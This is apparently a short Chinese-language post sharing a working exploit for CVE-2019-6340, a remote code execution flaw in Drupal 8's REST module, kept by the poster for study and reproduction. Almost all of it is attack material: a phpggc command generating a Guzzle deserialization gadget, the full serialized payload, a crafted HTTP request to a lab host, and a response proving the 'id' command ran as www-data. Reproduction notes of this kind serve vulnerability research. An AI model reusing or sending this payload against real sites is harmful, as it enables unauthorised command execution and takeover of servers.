CVE-2019-6340 分享一位过外大佬的payload

呃呃，留着准备分析复现用的​

这是链接：

https://www.ambionics.io/blog/drupal8-rce

Exploiting Drupal8's REST RCE

利用工具

PHPcgc

​./phpggc guzzle/rce1 system id --json

"O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\u0000GuzzleHttp\\Psr7\\FnStream\u0000methods\";a:1:{s:5:\"close\";a:2:{i:0;O:23:\"GuzzleHttp\\HandlerStack\":3:{s:32:\"\u0000GuzzleHttp\\HandlerStack\u0000handler\";s:2:\"id\";s:30:\"\u0000GuzzleHttp\\HandlerStack\u0000stack\";a:1:{i:0;a:1:{i:0;s:6:\"system\";}}s:31:\"\u0000GuzzleHttp\\HandlerStack\u0000cached\";b:0;}i:1;s:7:\"resolve\";}}s:9:\"_fn_close\";a:2:{i:0;r:4;i:1;s:7:\"resolve\";}}"

​这里是发包

​

GET /drupal-8.6.9/node/1?_format=hal_json HTTP/1.1

Host: 192.168.1.25

Content-Type: application/hal+json

Content-Length: 642

{

"link": [

{

"value": "link",

"options": "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\u0000GuzzleHttp\\Psr7\\FnStream\u0000methods\";a:1:{s:5:\"close\";a:2:{i:0;O:23:\"GuzzleHttp\\HandlerStack\":3:{s:32:\"\u0000GuzzleHttp\\HandlerStack\u0000handler\";s:2:\"id\";s:30:\"\u0000GuzzleHttp\\HandlerStack\u0000stack\";a:1:{i:0;a:1:{i:0;s:6:\"system\";}}s:31:\"\u0000GuzzleHttp\\HandlerStack\u0000cached\";b:0;}i:1;s:7:\"resolve\";}}s:9:\"_fn_close\";a:2:{i:0;r:4;i:1;s:7:\"resolve\";}}"

}

],

"_links": {

"type": {

"href": "http://192.168.1.25/drupal-8.6.9/rest/type/shortcut/default"

}

}

}

收到响应

​

HTTP/1.1 200 OK

Link: <...>

X-Generator: Drupal 8 (https://www.drupal.org)

X-Drupal-Cache: MISS

Connection: close

Content-Type: application/hal+json

Content-Length: 9012

{...}uid=33(www-data) gid=33(www-data) groups=33(www-data)